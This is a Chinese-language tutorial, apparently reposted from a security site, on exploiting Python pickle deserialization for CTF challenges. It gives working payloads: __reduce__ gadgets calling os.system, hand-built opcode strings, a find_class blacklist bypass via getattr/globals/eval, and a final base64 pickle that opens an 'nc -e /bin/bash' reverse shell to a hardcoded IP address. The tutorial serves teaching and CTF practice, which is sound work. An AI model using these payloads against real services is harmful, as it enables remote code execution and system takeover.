基礎知識
pickle是Python/ target=_blank class=infotextkey>Python下的用于序列化和反序列化的包。
與json相比,pickle以二進制儲存。json可以跨語言,pickle只適用于python。pickle能表示python幾乎所有的類型(包括自定義類型),json只能表示一部分內(nèi)置類型而且不能表示自定義的類型。
pickle實際上可以看作一種獨立的語言,通過對opcode的更改編寫可以執(zhí)行python代碼、覆蓋變量等操作。直接編寫的opcode靈活性比使用pickle序列化生成的代碼更高,有的代碼不能通過pickle序列化得到(pickle解析能力大于pickle生成能力)。
可以被序列化的對象:pickle --- Python 對象序列化 — Python 3.10.2 文檔
在重寫__reduce__方法的時候,返回的一定是一個元組(callable, ([para1,para2...])[,...])
pickle解析的過程:How pickle works in Python | Artem Golubin (rushter.com)
漏洞利用
方法
- 任意代碼執(zhí)行
- 變量覆蓋(覆蓋憑證繞過身份驗證)
easyDemo
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
print(result)
"""
ccopy_reg
_reconstructor
p0
(c__main__
People
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'name'
p6
S'RoboTerh'
p7
sb.
"""
反序列化代碼實例
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
unser = pickle.loads(result)
unser.sayHello()
"""
('Hello ', 'RoboTerh')
"""
但是如果去掉了People類之后在進行反序列化就會報錯
import pickle
class People(object):
def __init__(self, name):
self.name = name
def sayHello(self):
print("Hello ", self.name)
a = People("RoboTerh")
result = pickle.dumps(a)
del People
unser = pickle.loads(result)
unser.sayHello()
"""
AttributeError: 'module' object has no attribute 'People'
"""
commandExecuteDemo
import pickle
import os
class demo(object):
def __reduce__(self):
cmd = """dir"""
return (os.system, (cmd, )) #必須要返回一個元組
obj = demo()
result = pickle.dumps(obj)
#利用
pickle.loads(result)
variableCoverageDemo
import pickle
key1 = b'123'
key2 = b'456'
class exp(object):
def __reduce__(self):
return (exec, ("key1=b'1'nkey2=b'2'", ))
obj = exp()
print(key1, key2)
result = pickle.dumps(obj)
pickle.loads(result)
print(key1, key2)
"""
b'123' b'456'
b'1' b'2'
"""
構造opcode
常見的opcode
其中TRUE可以用I表示:b'I01n';FALSE可以用I表示:b'I00n',其他的opcode可以在源代碼中查看
全局變量覆蓋。
# main.py
import pickle
import secret
opcode = """c__main__
secret
(S'name'
S'1'
db."""
print("before name:", secret.name)
result = pickle.loads(opcode.encode())
print("result:", result)
print("after:", secret.name)
# secret.py
name = 'aaabbbccc'
# 結果
('before name:', 'aaabbbccc')
('result:', <module 'secret' from 'E:my_vscode_pythonwebScriptsecret.py'>)
('after:', '1')
首先,通過c獲取全局變量secret,然后建立一個字典,并使用b對secret進行屬性設置,
函數(shù)執(zhí)行
與函數(shù)執(zhí)行相關:Rio
- R
b'''cos
system
(S'whoami'
tR.'''
# t 為組合為元組 R 要求必須要是元組
- i
b'''(S'whoami'
IOS
system
.'''
# i 獲取全局函數(shù)之后尋找棧上一個MARK為元組,以該元組為參數(shù)執(zhí)行函數(shù)
- o
b'''(cos
system
S'whoami'
o.'''
# o 尋找上一個MARK作為callable,后面的為參數(shù)
實例化對象
- R
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""c__main__
Person
(S'RoboTerh'
S'20'
tR."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
- i
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""(S'RoboTerh'
S'20'
i__main__
Person
."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
- o
import pickle
class Person(object):
def __init__(self, name, age):
self.name = name
self.age = age
data = b"""(c__main__
Person
S'RoboTerh'
S'20'
o."""
obj = pickle.loads(data)
print(obj.name, obj.age)
# RoboTerh 20
pker的使用
下載地址
實踐
pickle.Unpickler.find_class()的了解:
官方針對pickle的安全問題的建議是修改find_class(),引入白名單的方式來解決
調(diào)用find_class()的情況:
- 從opcode角度看,當出現(xiàn)c、i、b'x93'時,會調(diào)用,所以只要在這三個opcode直接引入模塊時沒有違反規(guī)則即可。
- 從python代碼來看,find_class()只會在解析opcode時調(diào)用一次,所以只要繞過opcode執(zhí)行過程,find_class()就不會再調(diào)用,也就是說find_class()只需要過一次,通過之后再產(chǎn)生的函數(shù)在黑名單中也不會攔截,所以可以通過__import__繞過一些黑名單。
官方的例子:
import builtins
import io
import pickle
safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
使用白名單限制了能夠調(diào)用的模塊:{'range','complex','set','frozenset','slice',}
在高校戰(zhàn)役網(wǎng)絡安全分享賽中的webtmp
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__': # 只允許__main__模塊
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
看似只限制使用__main__模塊,但是被引入主程序的模塊都可以通過__main__調(diào)用修改,所以造成了變量覆蓋
Code Breaking picklecode
cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
[watevrCTF-2019]Pickle Store
[復現(xiàn)](
https://Github.com/wat3vr/watevrCTF-2019/tree/master/challenges/web/pickle store)
抓包帶有一個session,嘗試base64解碼,聯(lián)系題目名稱pickle。想到通過base64存儲反序列化之后的字符串
利用__reduce__構造惡意pickle反序列化字符串
import pickle
import os
import base64
class Test(object):
def __reduce__(self):
return(eval, ("__import__('os').system('nc -e /bin/bash 120.24.207.121 8000')", ))
test = Test()
print(base64.b64encode(pickle.dumps(test)))
from https://www.freebuf.com/vuls/362664.html